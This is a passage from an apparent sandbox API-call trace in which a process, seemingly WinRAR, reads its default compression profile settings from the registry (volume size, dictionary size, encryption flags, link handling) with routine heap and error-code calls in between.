(dwErrCode=0x5b0) [0060.633] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.633] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXLogo", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x7ff6f762da62, lpcbData=0xe414f9ae0*=0x1000 | out: lpType=0xe414f9ae4*=0x1, lpData="", lpcbData=0xe414f9ae0*=0x2) returned 0x0 [0060.633] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.633] GetLastError () returned 0x5b0 [0060.633] SetLastError (dwErrCode=0x5b0) [0060.633] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.633] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SFXElevate", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.633] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.633] GetLastError () returned 0x5b0 [0060.633] SetLastError (dwErrCode=0x5b0) [0060.633] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.634] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtFile", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x7ff6f762765e, lpcbData=0xe414f9ae0*=0x1000 | out: lpType=0xe414f9ae4*=0x1, lpData="", lpcbData=0xe414f9ae0*=0x2) returned 0x0 [0060.634] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.634] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20000) returned 0x1ec0a64dda0 [0060.636] GetLastError () returned 0x5b0 [0060.636] SetLastError (dwErrCode=0x5b0) [0060.636] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.636] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtDataWide", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x1ec0a64dda0, lpcbData=0xe414f9ae0*=0x20000 | out: lpType=0xe414f9ae4*=0x3, lpData=0x1ec0a64dda0*, lpcbData=0xe414f9ae0*=0x2) returned 0x0 [0060.636] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.714] GetLastError () returned 0x5b0 [0060.714] SetLastError (dwErrCode=0x5b0) [0060.714] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.715] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtTextWide", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x1ec0a64dda0, lpcbData=0xe414f9ae0*=0x20000 | out: lpType=0xe414f9ae4*=0x0, lpData=0x1ec0a64dda0*=0x0, lpcbData=0xe414f9ae0*=0x20000) returned 0x2 [0060.715] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.715] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x10000) returned 0x1ec0a66ddb0 [0060.716] GetLastError () returned 0x5b0 [0060.716] SetLastError (dwErrCode=0x5b0) [0060.716] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.716] RegQueryValueExW (in: hKey=0x2f0, lpValueName="CmtTextData", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0x1ec0a66ddb0, lpcbData=0xe414f9ae0*=0x10000 | out: lpType=0xe414f9ae4*=0x0, lpData=0x1ec0a66ddb0*=0x0, lpcbData=0xe414f9ae0*=0x10000) returned 0x2 [0060.716] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ec0a66ddb0, cbMultiByte=-1, lpWideCharStr=0x1ec0a64dda0, cchWideChar=65536 | out: lpWideCharStr="") returned 1 [0060.716] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a66ddb0 | out: hHeap=0x1ec0a590000) returned 1 [0060.716] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64dda0 | out: hHeap=0x1ec0a590000) returned 1 [0060.717] GetLastError () returned 0x5b0 [0060.717] SetLastError (dwErrCode=0x5b0) [0060.717] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.717] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VolumeSize", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0xe414fa530, lpcbData=0xe414f9ae0*=0x64 | out: lpType=0xe414f9ae4*=0x1, lpData="0", lpcbData=0xe414f9ae0*=0x4) returned 0x0 [0060.717] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.717] GetLastError () returned 0x5b0 [0060.717] SetLastError (dwErrCode=0x5b0) [0060.717] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.717] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VolSizeMod", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x2, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.717] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.717] GetLastError () returned 0x5b0 [0060.717] SetLastError (dwErrCode=0x5b0) [0060.717] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.717] RegQueryValueExW (in: hKey=0x2f0, lpValueName="VolPause", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.717] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.717] GetLastError () returned 0x5b0 [0060.717] SetLastError (dwErrCode=0x5b0) [0060.717] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.717] RegQueryValueExW (in: hKey=0x2f0, lpValueName="OldVolNames", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.717] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.717] GetLastError () returned 0x5b0 [0060.718] SetLastError (dwErrCode=0x5b0) [0060.718] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.718] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RecVolNumber", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.718] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.718] GetLastError () returned 0x5b0 [0060.718] SetLastError (dwErrCode=0x5b0) [0060.718] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.718] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Update", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.718] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.718] GetLastError () returned 0x5b0 [0060.718] SetLastError (dwErrCode=0x5b0) [0060.718] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.718] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Fresh", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.718] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.718] GetLastError () returned 0x5b0 [0060.718] SetLastError (dwErrCode=0x5b0) [0060.718] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.718] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SyncFiles", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.718] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.718] GetLastError () returned 0x5b0 [0060.718] SetLastError (dwErrCode=0x5b0) [0060.718] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.718] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Overwrite", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.718] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.718] GetLastError () returned 0x5b0 [0060.718] SetLastError (dwErrCode=0x5b0) [0060.718] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.718] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Move", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.718] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.718] GetLastError () returned 0x5b0 [0060.718] SetLastError (dwErrCode=0x5b0) [0060.718] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.719] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcRecBin", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.719] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.719] GetLastError () returned 0x5b0 [0060.719] SetLastError (dwErrCode=0x5b0) [0060.719] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.719] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ArcWipe", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.719] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.719] GetLastError () returned 0x5b0 [0060.719] SetLastError (dwErrCode=0x5b0) [0060.719] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.719] RegQueryValueExW (in: hKey=0x2f0, lpValueName="WipeIfPassword", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.719] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.719] GetLastError () returned 0x5b0 [0060.719] SetLastError (dwErrCode=0x5b0) [0060.719] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.719] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Solid", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.719] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.719] GetLastError () returned 0x5b0 [0060.719] SetLastError (dwErrCode=0x5b0) [0060.719] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.719] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Test", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.719] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.719] GetLastError () returned 0x5b0 [0060.719] SetLastError (dwErrCode=0x5b0) [0060.719] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.719] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RecEnabled", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.719] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.719] GetLastError () returned 0x5b0 [0060.719] SetLastError (dwErrCode=0x5b0) [0060.719] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.719] RegQueryValueExW (in: hKey=0x2f0, lpValueName="RecSize", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0xfffffffd, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.719] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.720] GetLastError () returned 0x5b0 [0060.720] SetLastError (dwErrCode=0x5b0) [0060.720] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.720] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Recovery", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x0, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x2 [0060.720] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.720] GetLastError () returned 0x5b0 [0060.720] SetLastError (dwErrCode=0x5b0) [0060.720] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.720] RegQueryValueExW (in: hKey=0x2f0, lpValueName="EraseDest", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.720] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.720] GetLastError () returned 0x5b0 [0060.720] SetLastError (dwErrCode=0x5b0) [0060.720] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.720] RegQueryValueExW (in: hKey=0x2f0, lpValueName="AddArcOnly", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.720] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.720] GetLastError () returned 0x5b0 [0060.720] SetLastError (dwErrCode=0x5b0) [0060.720] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.720] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ClearArc", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.720] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.720] GetLastError () returned 0x5b0 [0060.720] SetLastError (dwErrCode=0x5b0) [0060.720] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.720] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Lock", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.720] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.720] GetLastError () returned 0x5b0 [0060.720] SetLastError (dwErrCode=0x5b0) [0060.720] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.720] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Method", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x3, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.720] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.720] GetLastError () returned 0x5b0 [0060.721] SetLastError (dwErrCode=0x5b0) [0060.721] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.721] RegQueryValueExW (in: hKey=0x2f0, lpValueName="DictSizeLZ", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x400000, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.721] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.721] GetLastError () returned 0x5b0 [0060.721] SetLastError (dwErrCode=0x5b0) [0060.721] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.721] RegQueryValueExW (in: hKey=0x2f0, lpValueName="DictSize", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x2000000, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.721] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.721] GetLastError () returned 0x5b0 [0060.721] SetLastError (dwErrCode=0x5b0) [0060.721] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9680 | out: phkResult=0xe414f9680*=0x2f0) returned 0x0 [0060.721] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Name", lpReserved=0x0, lpType=0xe414f9ae4, lpData=0xe414fa640, lpcbData=0xe414f9ae0*=0x200 | out: lpType=0xe414f9ae4*=0x1, lpData="Default Profile", lpcbData=0xe414f9ae0*=0x20) returned 0x0 [0060.721] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.721] GetLastError () returned 0x5b0 [0060.721] SetLastError (dwErrCode=0x5b0) [0060.721] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f8080 | out: phkResult=0xe414f8080*=0x2f0) returned 0x0 [0060.721] RegQueryValueExW (in: hKey=0x2f0, lpValueName="PasswordData", lpReserved=0x0, lpType=0xe414f84e4, lpData=0xe414fa140, lpcbData=0xe414f84e0*=0x200 | out: lpType=0xe414f84e4*=0x3, lpData=0xe414fa140*, lpcbData=0xe414f84e0*=0x1) returned 0x0 [0060.721] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.721] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x200) returned 0x1ec0a64dda0 [0060.722] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64dda0 | out: hHeap=0x1ec0a590000) returned 1 [0060.722] GetLastError () returned 0x5b0 [0060.722] SetLastError (dwErrCode=0x5b0) [0060.722] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f8910 | out: phkResult=0xe414f8910*=0x2f0) returned 0x0 [0060.722] RegQueryValueExW (in: hKey=0x2f0, lpValueName="EncryptHeaders", lpReserved=0x0, lpType=0xe414f8d74, lpData=0xe414f8d70, lpcbData=0xe414f8da8*=0x4 | out: lpType=0xe414f8d74*=0x4, lpData=0xe414f8d70*=0x0, lpcbData=0xe414f8da8*=0x4) returned 0x0 [0060.722] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.722] GetLastError () returned 0x5b0 [0060.722] SetLastError (dwErrCode=0x5b0) [0060.722] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f8910 | out: phkResult=0xe414f8910*=0x2f0) returned 0x0 [0060.722] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ZipLegacyEncrypt", lpReserved=0x0, lpType=0xe414f8d74, lpData=0xe414f8d70, lpcbData=0xe414f8da8*=0x4 | out: lpType=0xe414f8d74*=0x4, lpData=0xe414f8d70*=0x0, lpcbData=0xe414f8da8*=0x4) returned 0x0 [0060.722] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.722] GetLastError () returned 0x5b0 [0060.722] SetLastError (dwErrCode=0x5b0) [0060.722] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.722] RegQueryValueExW (in: hKey=0x2f0, lpValueName="OpenShared", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.722] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.722] GetLastError () returned 0x5b0 [0060.722] SetLastError (dwErrCode=0x5b0) [0060.722] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.722] RegQueryValueExW (in: hKey=0x2f0, lpValueName="ProcessOwners", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.722] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.722] GetLastError () returned 0x5b0 [0060.723] SetLastError (dwErrCode=0x5b0) [0060.723] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.723] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SaveStreams", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.723] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.723] GetLastError () returned 0x5b0 [0060.723] SetLastError (dwErrCode=0x5b0) [0060.723] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.723] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SaveSymLinks", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.723] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.723] GetLastError () returned 0x5b0 [0060.723] SetLastError (dwErrCode=0x5b0) [0060.723] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414f9f10 | out: phkResult=0xe414f9f10*=0x2f0) returned 0x0 [0060.723] RegQueryValueExW (in: hKey=0x2f0, lpValueName="SaveHardLinks", lpReserved=0x0, lpType=0xe414fa374, lpData=0xe414fa370, lpcbData=0xe414fa3a8*=0x4 | out: lpType=0xe414fa374*=0x4, lpData=0xe414fa370*=0x0, lpcbData=0xe414fa3a8*=0x4) returned 0x0 [0060.723] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.723] GetLastError () returned 0x5b0 [0060.723] SetLastError (dwErrCode=0x5b0) 